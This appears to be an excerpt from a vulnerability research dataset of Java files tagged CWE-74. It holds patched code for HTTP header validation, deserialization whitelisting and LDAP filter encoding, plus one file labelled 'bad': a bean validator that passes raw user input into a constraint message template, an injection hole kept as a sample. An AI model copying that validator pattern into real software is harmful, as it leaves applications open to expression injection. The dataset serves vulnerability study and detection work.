PROHIBITED_NAME_CHAR_NAMES[0xB] = "<VT>";
PROHIBITED_NAME_CHAR_NAMES['\f'] = "<FF>";
PROHIBITED_NAME_CHAR_NAMES['\r'] = "<CR>";
PROHIBITED_NAME_CHAR_NAMES[' '] = "<SP>";
PROHIBITED_NAME_CHAR_NAMES[','] = ",";
PROHIBITED_NAME_CHAR_NAMES[':'] = ":";
PROHIBITED_NAME_CHAR_NAMES[';'] = ";";
PROHIBITED_NAME_CHAR_NAMES['='] = "=";
}
// Pseudo-headers
/**
* The HTTP {@code ":method"} pseudo header field name.
*/
public static final AsciiString METHOD = create(":method");
/**
* The HTTP {@code ":scheme"} pseudo header field name.
*/
public static final AsciiString SCHEME = create(":scheme");
/**
* The HTTP {@code ":authority"} pseudo header field name.
*/
public static final AsciiString AUTHORITY = create(":authority");
/**
* The HTTP {@code ":path"} pseudo header field name.
*/
public static final AsciiString PATH = create(":path");
/**
* The HTTP {@code ":status"} pseudo header field name.
*/
public static final AsciiString STATUS = create(":status");
// HTTP Request and Response header fields
/**
* The HTTP {@code "Cache-Control"} header field name.
*/
public static final AsciiString CACHE_CONTROL = create("Cache-Control");
/**
* The HTTP {@code "Content-Length"} header field name.
*/
public static final AsciiString CONTENT_LENGTH = create("Content-Length");
/**
* The HTTP {@code "Content-Type"} header field name.
*/
public static final AsciiString CONTENT_TYPE = create("Content-Type");
/**
* The HTTP {@code "Date"} header field name.
*/
public static final AsciiString DATE = create("Date");
/**
* The HTTP {@code "Pragma"} header field name.
*/
public static final AsciiString PRAGMA = create("Pragma");
/**
* The HTTP {@code "Via"} header field name.
*/
public static final AsciiString VIA = create("Via");
/**
* The HTTP {@code "Warning"} header field name.
*/
public static final AsciiString WARNING = create("Warning");
// HTTP Request header fields
/**
* The HTTP {@code "Accept"} header field name.
*/
public static final AsciiString ACCEPT = create("Accept");
/**
* The HTTP {@code "Accept-Charset"} header field name.
*/
public static final AsciiString ACCEPT_CHARSET = create("Accept-Charset");
/**
* The HTTP {@code "Accept-Encoding"} header field name.
*/
public static final AsciiString ACCEPT_ENCODING = create("Accept-Encoding");
/**
* The HTTP {@code "Accept-Language"} header field name.
*/
public static final AsciiString ACCEPT_LANGUAGE = create("Accept-Language");
/**
* The HTTP {@code "Access-Control-Request-Headers"} header field name.
*/
public static final AsciiString ACCESS_CONTROL_REQUEST_HEADERS = create("Access-Control-Request-Headers");
/**
* The HTTP {@code "Access-Control-Request-Method"} header field name.
*/
public static final AsciiString ACCESS_CONTROL_REQUEST_METHOD = create("Access-Control-Request-Method");
/**
* The HTTP {@code "Authorization"} header field name.
*/
public static final AsciiString AUTHORIZATION = create("Authorization");
/**
* The HTTP {@code "Connection"} header field name.
*/
public static final AsciiString CONNECTION = create("Connection");
/**
* The HTTP {@code "Cookie"} header field name.
*/
public static final AsciiString COOKIE = create("Cookie");
/**
* The HTTP <a href="https://tools.ietf.org/html/rfc8470">{@code "Early-Data"}</a> header field
* name.
*/
public static final AsciiString EARLY_DATA = create("Early-Data");
/**
* The HTTP {@code "Expect"} header field name.
*/
public static final AsciiString EXPECT = create("Expect");
/**
* The HTTP {@code "From"} header field name.
*/
public static final AsciiString FROM = create("From");
/**
* The HTTP <a href="https://tools.ietf.org/html/rfc7239">{@code "Forwarded"}</a> header field name.
*/
public static final AsciiString FORWARDED = create("Forwarded");
/**
* The HTTP {@code "Follow-Only-When-Prerender-Shown"} header field name.
*/
public static final AsciiString FOLLOW_ONLY_WHEN_PRERENDER_SHOWN =
create("Follow-Only-When-Prerender-Shown");
/**
* The HTTP {@code "Host"} header field name.
*/
public static final AsciiString HOST = create("Host");
/**
* The HTTP <a href="https://tools.ietf.org/html/rfc7540#section-3.2.1">{@code "HTTP2-Settings"}
* </a> header field name.
*/
public static final AsciiString HTTP2_SETTINGS = create("HTTP2-Settings");
/**
* The HTTP {@code "If-Match"} header field name.
*/
public static final AsciiString IF_MATCH = create("If-Match");
/**
* The HTTP {@code "If-Modified-Since"} header field name.
*/
public static final AsciiString IF_MODIFIED_SINCE = create("If-Modified-Since");
/**
* The HTTP {@code "If-None-Match"} header field name.
*/
public static final AsciiString IF_NONE_MATCH = create("If-None-Match");
/**
* The HTTP {@code "If-Range"} header field name.
*/
public static final AsciiString IF_RANGE = create("If-Range");
/**
* The HTTP {@code "If-Unmodified-Since"} header field name.
*/
public static final AsciiString IF_UNMODIFIED_SINCE = create("If-Unmodified-Since");
/**
* The HTTP {@code "Last-Event-ID"} header field name.
*/
public static final AsciiString LAST_EVENT_ID = create("Last-Event-ID");
/**
* The HTTP {@code "Max-Forwards"} header field name.
*/
public static final AsciiString MAX_FORWARDS = create("Max-Forwards");
/**
* The HTTP {@code "Origin"} header field name.
*/
public static final AsciiString ORIGIN = create("Origin");
/**
* The HTTP {@code "Prefer"} header field name.
*/
public static final AsciiString PREFER = create("Prefer");
/**
* The HTTP {@code "Proxy-Authorization"} header field name.
*/
public static final AsciiString PROXY_AUTHORIZATION = create("Proxy-Authorization");
/**
* The HTTP {@code "Range"} header field name.
*/
public static final AsciiString RANGE = create("Range");
/**
* The HTTP {@code "Referer"} header field name.
*/
public static final AsciiString REFERER = create("Referer");
/**
* The HTTP <a href="https://www.w3.org/TR/referrer-policy/">{@code "Referrer-Policy"}</a> header
* field name.
*/
public static final AsciiString REFERRER_POLICY = create("Referrer-Policy");
/**
* The HTTP <a href="https://www.w3.org/TR/service-workers/#update-algorithm">{@code
* Service-Worker}</a> header field name.
*/
public static final AsciiString SERVICE_WORKER = create("Service-Worker");
/**
* The HTTP {@code "TE"} header field name.
*/
public static final AsciiString TE = create("TE");
/**
* The HTTP {@code "Upgrade"} header field name.
*/
public static final AsciiString UPGRADE = create("Upgrade");
/**
* The HTTP {@code "User-Agent"} header field name.
*/
public static final AsciiString USER_AGENT = create("User-Agent");
// HTTP Response header fields
/**
* The HTTP {@code "Accept-Ranges"} header field name.
*/
public static final AsciiString ACCEPT_RANGES = create("Accept-Ranges");
/**
* The HTTP {@code "Accept-Patch"} header field name.
*/
public static final AsciiString ACCEPT_PATCH = create("Accept-Patch");
/**
* The HTTP {@code "Access-Control-Allow-Headers"} header field name.
*/
public static final AsciiString ACCESS_CONTROL_ALLOW_HEADERS = create("Access-Control-Allow-Headers");
/**
* The HTTP {@code "Access-Control-Allow-Methods"} header field name.
*/
public static final AsciiString ACCESS_CONTROL_ALLOW_METHODS = create("Access-Control-Allow-Methods");
/**
* The HTTP {@code "Access-Control-Allow-Origin"} header field name.
*/
public static final AsciiString ACCESS_CONTROL_ALLOW_ORIGIN = create("Access-Control-Allow-Origin");
/**
* The HTTP {@code "Access-Control-Allow-Credentials"} header field name.
*/
public static final AsciiString ACCESS_CONTROL_ALLOW_CREDENTIALS =
create("Access-Control-Allow-Credentials");
/**
* The HTTP {@code "Access-Control-Expose-Headers"} header field name.
*/
public static final AsciiString ACCESS_CONTROL_EXPOSE_HEADERS = create("Access-Control-Expose-Headers");
/**
* The HTTP {@code "Access-Control-Max-Age"} header field name.
*/
public static final AsciiString ACCESS_CONTROL_MAX_AGE = create("Access-Control-Max-Age");
/**
* The HTTP {@code "Age"} header field name.
*/
public static final AsciiString AGE = create("Age");
/**
* The HTTP {@code "Allow"} header field name.
*/
public static final AsciiString ALLOW = create("Allow");
/**
* The HTTP {@code "Content-Base"} header field name.
*/
public static final AsciiString CONTENT_BASE = create("Content-Base");
/**
* The HTTP {@code "Content-Disposition"} header field name.
*/
public static final AsciiString CONTENT_DISPOSITION = create("Content-Disposition");
/**
* The HTTP {@code "Content-Encoding"} header field name.
*/
public static final AsciiString CONTENT_ENCODING = create("Content-Encoding");
/**
* The HTTP {@code "Content-Language"} header field name.
*/
public static final AsciiString CONTENT_LANGUAGE = create("Content-Language");
/**
* The HTTP {@code "Content-Location"} header field name.
*/
public static final AsciiString CONTENT_LOCATION = create("Content-Location");
/**
* The HTTP {@code "Content-MD5"} header field name.
*/
public static final AsciiString CONTENT_MD5 = create("Content-MD5");
/**
* The HTTP {@code "Content-Range"} header field name.
*/
public static final AsciiString CONTENT_RANGE = create("Content-Range");
/**
* The HTTP <a href="https://w3.org/TR/CSP/#content-security-policy-header-field">{@code
* Content-Security-Policy}</a> header field name.
*/
public static final AsciiString CONTENT_SECURITY_POLICY = create("Content-Security-Policy");
/**
* The HTTP <a href="https://w3.org/TR/CSP/#content-security-policy-report-only-header-field">
* {@code "Content-Security-Policy-Report-Only"}</a> header field name.
*/
public static final AsciiString CONTENT_SECURITY_POLICY_REPORT_ONLY =
create("Content-Security-Policy-Report-Only");
/**
* The HTTP {@code "ETag"} header field name.
*/
public static final AsciiString ETAG = create("ETag");
/**
* The HTTP {@code "Expires"} header field name.
*/
public static final AsciiString EXPIRES = create("Expires");
/**
* The HTTP {@code "Last-Modified"} header field name.
*/
public static final AsciiString LAST_MODIFIED = create("Last-Modified");
/**
* The HTTP {@code "Link"} header field name.
*/
public static final AsciiString LINK = create("Link");
/**
* The HTTP {@code "Location"} header field name.
*/
public static final AsciiString LOCATION = create("Location");
/**
* The HTTP <a href="https://googlechrome.github.io/OriginTrials/#header">{@code "Origin-Trial"}</a>
* header field name.
*/
public static final AsciiString ORIGIN_TRIAL = create("Origin-Trial");
/**
* The HTTP {@code "P3P"} header field name. Limited browser support.
*/
public static final AsciiString P3P = create("P3P");
/**
* The HTTP {@code "Proxy-Authenticate"} header field name.
*/
public static final AsciiString PROXY_AUTHENTICATE = create("Proxy-Authenticate");
/**
* The HTTP {@code "Refresh"} header field name. Non-standard header supported by most browsers.
*/
public static final AsciiString REFRESH = create("Refresh");
/**
* The HTTP <a href="https://www.w3.org/TR/reporting/">{@code "Report-To"}</a> header field name.
*/
public static final AsciiString REPORT_TO = create("Report-To");
/**
* The HTTP {@code "Retry-After"} header field name.
*/
public static final AsciiString RETRY_AFTER = create("Retry-After");
/**
* The HTTP {@code "Server"} header field name.
*/
public static final AsciiString SERVER = create("Server");
/**
* The HTTP <a href="https://www.w3.org/TR/server-timing/">{@code "Server-Timing"}</a> header field
* name.
*/
public static final AsciiString SERVER_TIMING = create("Server-Timing");
/**
* The HTTP <a href="https://www.w3.org/TR/service-workers/#update-algorithm">{@code
* Service-Worker-Allowed}</a> header field name.
*/
public static final AsciiString SERVICE_WORKER_ALLOWED = create("Service-Worker-Allowed");
/**
* The HTTP {@code "Set-Cookie"} header field name.
*/
public static final AsciiString SET_COOKIE = create("Set-Cookie");
/**
* The HTTP {@code "Set-Cookie2"} header field name.
*/
public static final AsciiString SET_COOKIE2 = create("Set-Cookie2");
/**
* The HTTP <a href="https://goo.gl/Dxx19N">{@code "SourceMap"}</a> header field name.
*/
public static final AsciiString SOURCE_MAP = create("SourceMap");
/**
* The HTTP <a href="https://tools.ietf.org/html/rfc6797#section-6.1">{@code
* Strict-Transport-Security}</a> header field name.
*/
public static final AsciiString STRICT_TRANSPORT_SECURITY = create("Strict-Transport-Security");
/**
* The HTTP <a href="https://www.w3.org/TR/resource-timing/#cross-origin-resources">{@code
* Timing-Allow-Origin}</a> header field name.
*/
public static final AsciiString TIMING_ALLOW_ORIGIN = create("Timing-Allow-Origin");
/**
* The HTTP {@code "Trailer"} header field name.
*/
public static final AsciiString TRAILER = create("Trailer");
/**
* The HTTP {@code "Transfer-Encoding"} header field name.
*/
public static final AsciiString TRANSFER_ENCODING = create("Transfer-Encoding");
/**
* The HTTP {@code "Vary"} header field name.
*/
public static final AsciiString VARY = create("Vary");
/**
* The HTTP {@code "WWW-Authenticate"} header field name.
*/
public static final AsciiString WWW_AUTHENTICATE = create("WWW-Authenticate");
// Common, non-standard HTTP header fields
/**
* The HTTP {@code "DNT"} header field name.
*/
public static final AsciiString DNT = create("DNT");
/**
* The HTTP {@code "X-Content-Type-Options"} header field name.
*/
public static final AsciiString X_CONTENT_TYPE_OPTIONS = create("X-Content-Type-Options");
/**
* The HTTP {@code "X-Do-Not-Track"} header field name.
*/
public static final AsciiString X_DO_NOT_TRACK = create("X-Do-Not-Track");
/**
* The HTTP {@code "X-Forwarded-For"} header field name (superseded by {@code "Forwarded"}).
*/
public static final AsciiString X_FORWARDED_FOR = create("X-Forwarded-For");
/**
* The HTTP {@code "X-Forwarded-Proto"} header field name.
*/
public static final AsciiString X_FORWARDED_PROTO = create("X-Forwarded-Proto");
/**
* The HTTP <a href="https://goo.gl/lQirAH">{@code "X-Forwarded-Host"}</a> header field name.
*/
public static final AsciiString X_FORWARDED_HOST = create("X-Forwarded-Host");
/**
* The HTTP <a href="https://goo.gl/YtV2at">{@code "X-Forwarded-Port"}</a> header field name.
*/
public static final AsciiString X_FORWARDED_PORT = create("X-Forwarded-Port");
/**
* The HTTP {@code "X-Frame-Options"} header field name.
*/
public static final AsciiString X_FRAME_OPTIONS = create("X-Frame-Options");
/**
* The HTTP {@code "X-Powered-By"} header field name.
*/
public static final AsciiString X_POWERED_BY = create("X-Powered-By");
/**
* The HTTP <a href="https://tools.ietf.org/html/rfc7469">{@code
* Public-Key-Pins}</a> header field name.
*/
public static final AsciiString PUBLIC_KEY_PINS = create("Public-Key-Pins");
/**
* The HTTP <a href="https://tools.ietf.org/html/rfc7469">{@code
* Public-Key-Pins-Report-Only}</a> header field name.
*/
public static final AsciiString PUBLIC_KEY_PINS_REPORT_ONLY = create("Public-Key-Pins-Report-Only");
/**
* The HTTP {@code "X-Requested-With"} header field name.
*/
public static final AsciiString X_REQUESTED_WITH = create("X-Requested-With");
/**
* The HTTP {@code "X-User-IP"} header field name.
*/
public static final AsciiString X_USER_IP = create("X-User-IP");
/**
* The HTTP <a href="https://goo.gl/VKpXxa">{@code "X-Download-Options"}</a> header field name.
*
* <p>When the new X-Download-Options header is present with the value {@code "noopen"}, the user is
* prevented from opening a file download directly; instead, they must first save the file
* locally.
*/
public static final AsciiString X_DOWNLOAD_OPTIONS = create("X-Download-Options");
/**
* The HTTP {@code "X-XSS-Protection"} header field name.
*/
public static final AsciiString X_XSS_PROTECTION = create("X-XSS-Protection");
/**
* The HTTP <a
* href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-DNS-Prefetch-Control">{@code
* X-DNS-Prefetch-Control}</a> header controls DNS prefetch behavior. Value can be "on" or "off".
* By default, DNS prefetching is "on" for HTTP pages and "off" for HTTPS pages.
*/
public static final AsciiString X_DNS_PREFETCH_CONTROL = create("X-DNS-Prefetch-Control");
/**
* The HTTP <a href="https://html.spec.whatwg.org/multipage/semantics.html#hyperlink-auditing">
* {@code "Ping-From"}</a> header field name.
*/
public static final AsciiString PING_FROM = create("Ping-From");
/**
* The HTTP <a href="https://html.spec.whatwg.org/multipage/semantics.html#hyperlink-auditing">
* {@code "Ping-To"}</a> header field name.
*/
public static final AsciiString PING_TO = create("Ping-To");
/**
* The HTTP <a href="https://tools.ietf.org/html/rfc8473">{@code
* Sec-Token-Binding}</a> header field name.
*/
public static final AsciiString SEC_TOKEN_BINDING = create("Sec-Token-Binding");
/**
* The HTTP <a href="https://tools.ietf.org/html/draft-ietf-tokbind-ttrp">{@code
* Sec-Provided-Token-Binding-ID}</a> header field name.
*/
public static final AsciiString SEC_PROVIDED_TOKEN_BINDING_ID = create("Sec-Provided-Token-Binding-ID");
/**
* The HTTP <a href="https://tools.ietf.org/html/draft-ietf-tokbind-ttrp">{@code
* Sec-Referred-Token-Binding-ID}</a> header field name.
*/
public static final AsciiString SEC_REFERRED_TOKEN_BINDING_ID = create("Sec-Referred-Token-Binding-ID");
private static final Map<CharSequence, AsciiString> map;
static {
final ImmutableMap.Builder<CharSequence, AsciiString> builder = ImmutableMap.builder();
for (Field f : HttpHeaderNames.class.getDeclaredFields()) {
final int m = f.getModifiers();
if (Modifier.isPublic(m) && Modifier.isStatic(m) && Modifier.isFinal(m) &&
f.getType() == AsciiString.class) {
final AsciiString name;
try {
name = (AsciiString) f.get(null);
} catch (Exception e) {
throw new Error(e);
}
builder.put(name, name);
builder.put(name.toString(), name);
}
}
map = builder.build();
}
private static AsciiString create(String name) {
return AsciiString.cached(Ascii.toLowerCase(name));
}
/**
* Lower-cases and converts the specified header name into an {@link AsciiString}. If {@code "name"} is
* a known header name, this method will return a pre-instantiated {@link AsciiString} to reduce
* the allocation rate of {@link AsciiString}.
*
* @throws IllegalArgumentException if the specified {@code name} is not a valid header name.
*/
public static AsciiString of(CharSequence name) {
if (name instanceof AsciiString) {
return of((AsciiString) name);
}
final String lowerCased = Ascii.toLowerCase(requireNonNull(name, "name"));
final AsciiString cached = map.get(lowerCased);
if (cached != null) {
return cached;
}
return validate(AsciiString.cached(lowerCased));
}
/**
* Lower-cases and converts the specified header name into an {@link AsciiString}. If {@code "name"} is
* a known header name, this method will return a pre-instantiated {@link AsciiString} to reduce
* the allocation rate of {@link AsciiString}.
*
* @throws IllegalArgumentException if the specified {@code name} is not a valid header name.
*/
public static AsciiString of(AsciiString name) {
final AsciiString lowerCased = name.toLowerCase();
final AsciiString cached = map.get(lowerCased);
if (cached != null) {
return cached;
}
return validate(lowerCased);
}
private static AsciiString validate(AsciiString name) {
if (name.isEmpty()) {
throw new IllegalArgumentException("malformed header name: <EMPTY>");
}
final int lastIndex;
try {
lastIndex = name.forEachByte(value -> {
if ((value & PROHIBITED_NAME_CHAR_MASK) != 0) { // value >= 64
return true;
}
// value < 64
return !PROHIBITED_NAME_CHARS.get(value);
});
} catch (Exception e) {
throw new Error(e);
}
if (lastIndex >= 0) {
throw new IllegalArgumentException(malformedHeaderNameMessage(name));
}
return name;
}
private static String malformedHeaderNameMessage(AsciiString name) {
final StringBuilder buf = new StringBuilder(IntMath.saturatedAdd(name.length(), 64));
buf.append("malformed header name: ");
final int nameLength = name.length();
for (int i = 0; i < nameLength; i++) {
final char ch = name.charAt(i);
if (PROHIBITED_NAME_CHARS.get(ch)) {
buf.append(PROHIBITED_NAME_CHAR_NAMES[ch]);
} else {
buf.append(ch);
}
}
return buf.toString();
}
private HttpHeaderNames() {}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_1112_0
|
crossvul-java_data_good_1678_0
|
/*
* Licensed to Elasticsearch under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.elasticsearch.common.io;
import com.fasterxml.jackson.core.JsonLocation;
import com.google.common.collect.ImmutableMap;
import org.elasticsearch.common.Classes;
import org.elasticsearch.common.collect.IdentityHashSet;
import org.joda.time.DateTimeFieldType;
import java.io.*;
import java.net.*;
import java.util.*;
/**
*
*/
public class ThrowableObjectInputStream extends ObjectInputStream {
private final ClassLoader classLoader;
public ThrowableObjectInputStream(InputStream in) throws IOException {
this(in, null);
}
public ThrowableObjectInputStream(InputStream in, ClassLoader classLoader) throws IOException {
super(in);
this.classLoader = classLoader;
}
@Override
protected void readStreamHeader() throws IOException, StreamCorruptedException {
int version = readByte() & 0xFF;
if (version != STREAM_VERSION) {
throw new StreamCorruptedException(
"Unsupported version: " + version);
}
}
@Override
protected ObjectStreamClass readClassDescriptor()
throws IOException, ClassNotFoundException {
int type = read();
if (type < 0) {
throw new EOFException();
}
switch (type) {
case ThrowableObjectOutputStream.TYPE_EXCEPTION:
return ObjectStreamClass.lookup(Exception.class);
case ThrowableObjectOutputStream.TYPE_STACKTRACEELEMENT:
return ObjectStreamClass.lookup(StackTraceElement.class);
case ThrowableObjectOutputStream.TYPE_FAT_DESCRIPTOR:
return verify(super.readClassDescriptor());
case ThrowableObjectOutputStream.TYPE_THIN_DESCRIPTOR:
String className = readUTF();
Class<?> clazz = loadClass(className);
return verify(ObjectStreamClass.lookup(clazz));
default:
throw new StreamCorruptedException(
"Unexpected class descriptor type: " + type);
}
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
try {
return loadClass(className);
} catch (ClassNotFoundException ex) {
return super.resolveClass(desc);
}
}
protected Class<?> loadClass(String className) throws ClassNotFoundException {
Class<?> clazz;
ClassLoader classLoader = this.classLoader;
if (classLoader == null) {
classLoader = Classes.getDefaultClassLoader();
}
if (classLoader != null) {
clazz = classLoader.loadClass(className);
} else {
clazz = Class.forName(className);
}
return clazz;
}
private static final Set<Class<?>> CLASS_WHITELIST;
private static final Set<Package> PKG_WHITELIST;
static {
IdentityHashSet<Class<?>> classes = new IdentityHashSet<>();
classes.add(String.class);
// inet stuff is needed for DiscoveryNode
classes.add(Inet6Address.class);
classes.add(Inet4Address.class);
classes.add(InetAddress.class);
classes.add(InetSocketAddress.class);
classes.add(SocketAddress.class);
classes.add(StackTraceElement.class);
classes.add(JsonLocation.class); // JsonParseException uses this
IdentityHashSet<Package> packages = new IdentityHashSet<>();
packages.add(Integer.class.getPackage()); // java.lang
packages.add(List.class.getPackage()); // java.util
packages.add(ImmutableMap.class.getPackage()); // com.google.common.collect
packages.add(DateTimeFieldType.class.getPackage()); // org.joda.time
CLASS_WHITELIST = Collections.unmodifiableSet(classes);
PKG_WHITELIST = Collections.unmodifiableSet(packages);
}
private ObjectStreamClass verify(ObjectStreamClass streamClass) throws IOException, ClassNotFoundException {
Class<?> aClass = resolveClass(streamClass);
Package pkg = aClass.getPackage();
if (aClass.isPrimitive() // primitives are fine
|| aClass.isArray() // arrays are ok too
|| Throwable.class.isAssignableFrom(aClass)// exceptions are fine
|| CLASS_WHITELIST.contains(aClass) // whitelist JDK stuff we need
|| PKG_WHITELIST.contains(aClass.getPackage())
|| pkg.getName().startsWith("org.elasticsearch")) { // es classes are ok
return streamClass;
}
throw new NotSerializableException(aClass.getName());
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_1678_0
|
crossvul-java_data_good_1465_0
|
/*
* Licensed to Jasig under one or more contributor license
* agreements. See the NOTICE file distributed with this work
* for additional information regarding copyright ownership.
* Jasig licenses this file to you under the Apache License,
* Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a
* copy of the License at the following location:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.jasig.cas.util;
import java.util.HashMap;
import java.util.Map;
import java.util.regex.Matcher;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.ldap.core.LdapEncoder;
/**
* Utilities related to LDAP functions.
*
* @author Scott Battaglia
* @version $Revision$ $Date$
* @since 3.0
*/
public final class LdapUtils {
private static final Logger logger = LoggerFactory.getLogger(LdapUtils.class);
private LdapUtils() {
// private constructor so that no one can instantiate.
}
/**
* Utility method to replace the placeholders in the filter with the proper
* values from the userName.
*
* @param filter
* @param userName
* @return the filtered string populated with the username
*/
public static String getFilterWithValues(final String filter,
final String userName) {
final Map<String, String> properties = new HashMap<String, String>();
final String[] userDomain;
String newFilter = filter;
properties.put("%u", userName);
userDomain = userName.split("@");
properties.put("%U", userDomain[0]);
if (userDomain.length > 1) {
properties.put("%d", userDomain[1]);
final String[] dcArray = userDomain[1].split("\\.");
for (int i = 0; i < dcArray.length; i++) {
properties.put("%" + (i + 1), dcArray[dcArray.length
- 1 - i]);
}
}
for (final String key : properties.keySet()) {
final String value = LdapEncoder.filterEncode(properties.get(key));
newFilter = newFilter.replaceAll(key, Matcher.quoteReplacement(value));
}
return newFilter;
}
/**
* Close the given context and ignore any thrown exception. This is useful
* for typical finally blocks in manual Ldap statements.
*
* @param context the Ldap context to close
*/
public static void closeContext(final DirContext context) {
if (context != null) {
try {
context.close();
} catch (NamingException ex) {
logger.warn("Could not close context", ex);
}
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_1465_0
|
crossvul-java_data_good_1678_4
|
/*
* Licensed to Elasticsearch under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.elasticsearch;
import com.google.common.collect.ImmutableMap;
import com.google.common.reflect.TypeToken;
import org.apache.lucene.store.AlreadyClosedException;
import org.elasticsearch.cluster.node.DiscoveryNode;
import org.elasticsearch.common.collect.Tuple;
import org.elasticsearch.common.io.ThrowableObjectInputStream;
import org.elasticsearch.common.transport.InetSocketTransportAddress;
import org.elasticsearch.index.shard.IndexShard;
import org.elasticsearch.index.shard.IndexShardState;
import org.elasticsearch.index.shard.ShardId;
import org.elasticsearch.indices.recovery.RecoveryFailedException;
import org.elasticsearch.test.ElasticsearchTestCase;
import org.elasticsearch.transport.ConnectTransportException;
import org.junit.Test;
import java.io.*;
import java.net.InetAddress;
import java.util.*;
import java.util.concurrent.atomic.AtomicBoolean;
import static org.elasticsearch.common.io.ThrowableObjectOutputStream.serialize;
public class ExceptionsSerializationTests extends ElasticsearchTestCase {
public void testBasicExceptions() throws IOException, ClassNotFoundException {
ShardId id = new ShardId("foo", 1);
DiscoveryNode src = new DiscoveryNode("someNode", new InetSocketTransportAddress("127.0.0.1", 6666), Version.CURRENT);
DiscoveryNode target = new DiscoveryNode("otherNode", new InetSocketTransportAddress("127.0.0.1", 8888), Version.CURRENT);
RecoveryFailedException ex = new RecoveryFailedException(id, src, target, new AlreadyClosedException("closed", new SecurityException("booom booom boom", new FileNotFoundException("no such file"))));
RecoveryFailedException serialize = serialize(ex);
assertEquals(ex.getMessage(), serialize.getMessage());
assertEquals(AlreadyClosedException.class, serialize.getCause().getClass());
assertEquals(SecurityException.class, serialize.getCause().getCause().getClass());
assertEquals(FileNotFoundException.class, serialize.getCause().getCause().getCause().getClass());
ConnectTransportException tpEx = new ConnectTransportException(src, "foo", new IllegalArgumentException("boom"));
ConnectTransportException serializeTpEx = serialize(tpEx);
assertEquals(tpEx.getMessage(), serializeTpEx.getMessage());
assertEquals(src, tpEx.node());
TestException testException = new TestException(Arrays.asList("foo"), EnumSet.allOf(IndexShardState.class), ImmutableMap.<String,String>builder().put("foo", "bar").build(), InetAddress.getByName("localhost"), new Number[] {new Integer(1)});
assertEquals(serialize(testException).list.get(0), "foo");
assertTrue(serialize(testException).set.containsAll(Arrays.asList(IndexShardState.values())));
assertEquals(serialize(testException).map.get("foo"), "bar");
}
public void testPreventBogusFromSerializing() throws IOException, ClassNotFoundException {
Serializable[] serializables = new Serializable[] {
new AtomicBoolean(false),
TypeToken.of(String.class),
};
for (Serializable s : serializables) {
try {
serialize(s);
fail(s.getClass() + " should fail");
} catch (NotSerializableException e) {
// all is well
}
}
}
public static class TestException extends Throwable {
final List<String> list;
final EnumSet<IndexShardState> set;
final Map<String, String> map;
final InetAddress address;
final Object[] someArray;
public TestException(List<String> list, EnumSet<IndexShardState> set, Map<String, String> map, InetAddress address, Object[] someArray) {
super("foo", null);
this.list = list;
this.set = set;
this.map = map;
this.address = address;
this.someArray = someArray;
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_1678_4
|
crossvul-java_data_bad_4390_0
|
package com.browserup.bup.rest.validation;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import javax.validation.Constraint;
import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
import javax.validation.Payload;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = { LongPositiveConstraint.LongPositiveValidator.class })
public @interface LongPositiveConstraint {
String message() default "";
String paramName() default "";
Class<?>[] groups() default {};
int value();
Class<? extends Payload>[] payload() default {};
class LongPositiveValidator implements ConstraintValidator<LongPositiveConstraint, String> {
private static final Logger LOG = LoggerFactory.getLogger(LongPositiveValidator.class);
@Override
public void initialize(LongPositiveConstraint constraintAnnotation) {
}
@Override
public boolean isValid(String value, ConstraintValidatorContext context) {
long longValue = 0;
boolean failed = false;
String errorMessage = "";
try {
longValue = Long.parseLong(value);
} catch (NumberFormatException ex) {
failed = true;
errorMessage = String.format("Invalid integer value: '%s'", value);
}
if (!failed && longValue < 0) {
failed = true;
errorMessage = String.format("Expected positive integer value, got: '%s'", value);
}
if (!failed) {
return true;
}
LOG.warn(errorMessage);
context.buildConstraintViolationWithTemplate(errorMessage).addConstraintViolation();
return false;
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4390_0
|
crossvul-java_data_good_1112_1
|
/*
* Copyright 2019 LINE Corporation
*
* LINE Corporation licenses this file to you under the Apache License,
* version 2.0 (the "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at:
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
/*
* Copyright 2014 The Netty Project
*
* The Netty Project licenses this file to you under the Apache License, version 2.0 (the
* "License"); you may not use this file except in compliance with the License. You may obtain a
* copy of the License at:
*
* https://www.apache.org/licenses/LICENSE-2.0
*
